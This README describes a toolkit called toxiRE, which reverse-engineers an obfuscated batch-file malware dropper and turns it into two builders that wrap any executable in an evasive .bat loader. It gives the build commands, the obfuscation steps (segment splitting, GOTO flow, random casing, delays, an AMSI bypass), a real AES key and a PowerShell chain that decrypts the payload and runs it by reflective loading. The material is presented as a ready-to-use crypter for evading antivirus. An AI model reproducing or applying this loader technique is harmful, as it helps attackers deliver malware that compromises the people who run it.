toxiRE/read.txt

Made with love and horniness by t.me/toxiiiis


## usage

### builder 1to1
```bash
cd "builder 1to1"
python builder.py input.exe output.bat
```
exact replica of original originals structure, 21 segments, line 42 order obf, 7step ps chain, reflective load.

### builder improved
```bash
cd "builder improved"
python cli.py input.exe output.bat
```
more stuff, fewer segments (auto split), order fragment obfuscation, 47part ps command split, amsi bypass, conhost.exe copy, random case, execution delays.

### differences
- 1to1: always 21 segments, simpler, smaller output
- improved: var segments, more obfuscation layers, amsi evasion, bigger output

both use aes-256-cbc, reflective loading, no network ops

---

## log (A to Z)

### 1: anal ysis
1. Identified 50+ variables, 21 base64 payloads, AES encryption params
2. obf patterns: random names, command splitting, GOTO flow

### 2: ps chain flow
1. 7step `$env:` var ref chain
2. made a py to follow chain: `nZaRCF` > `aGVl55` > `OsJQhAK` > `tjvcnGK` > `bQtWsrx` > `MDmRRqW` > `tsEwVI` > `9UkijMM`
3. extracted ps command (826 chars)
4. AES decrypt with key and IV

### 3: payload extract and order
1. 21 ba64 encoded segments (109,272 chars total)
2. **important**: segments must be joined in a order
3. traced line 42 which has variable `43Nn4obTrQ0J` containing the order
4. found 73 variables to extract correct order from line 42
5. order: `j97KQu6`, `JIMZlyBt`, `lloztMu`, `oAWM9gN3`, `xAEr2y8D`, `u9HraJGX`, `xNF82uy`, `amiieM`, `ih0wojr`, `SeLNlxJi`, `nrp2Cd`, `ndOVLLU5`, `ilUetRQ`, `Ravpss`, `tTp84C`, `rNQFeP`, `kd7VYdp`, `OD1pagW`, `k7EmPoW`, `TGOERjgr`, `xWiRpFW`

### 4: AES Decryption
1. joined 21 segments in order > 109,272 b64 chars
2. b64 decoded > 81,952b encrypted data
3. IV from first 16 bytes
4. AES decryption key: `96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd`
5. removed PKCS7 padding > 81,920 bytes
6. yuppurs decrypted payload starts with "MZ" and runs correctly on vt

---

## steps

### step 1:
``` input: exe > PKCS7 > RNG IV > encrypt with AES > pend IV to ciphertxt > output ```

### step 2:
``` input: encrypted output > b64 > split into segments (21) > each segment in a var ```

### step 3: 
``` create var containing the list of vars, split var name itself across multipile vars, reconstruct using var. varvarvarvarvarvarvarvarvarvarvarvar ```

### step 4:
``` var chain > each var has part of ps cmd > last var has AES dec key ```

### step 5:
``` split every cmd across 4 to 10 vars > random 8c var names > 11 random labels with GOTO statements > junk comment lines > random CAseS > final output ```

---

## details

### AES params
```python
Key (hex): 96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd
Key (bytes): [150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189]
Mode: CBC
Padding: PKCS7
IV: first 16b of b64 decoded payload
```

### ps flow
```powershell
# 1. sleep 3 seconds
Start-Sleep -Seconds 3

# 2. create AES decryptor
$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new()
$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC
$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$jPFh8Se4.Key = [byte[]]@(150,182,100,248,...)

# 3. get payload from 21 environment vars in order
$wEAR7v = [Convert]::FromBase64String(-join ($env:43Nn4obTrQ0J.Split('!')).ForEach({(Get-Item "env:$_").Value}))

# 4. extract IV and decrypt
$jPFh8Se4.IV = $wEAR7v[0..15]
$F9q72zl = $jPFh8Se4.CreateDecryptor()
$4lKXVT9F4 = $F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0, $wEAR7v.Length-16)

# 5. load as .NET asm and invoke
$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4)
$gEBOJ.EntryPoint.Invoke($null, $null)
```

---

## how to use the decryptor

```bash
# extract correct order and decrypt
python extract_absolutely_all_vars.py
python decrypt_with_correct_order.py

# output: PAYLOAD.bin
```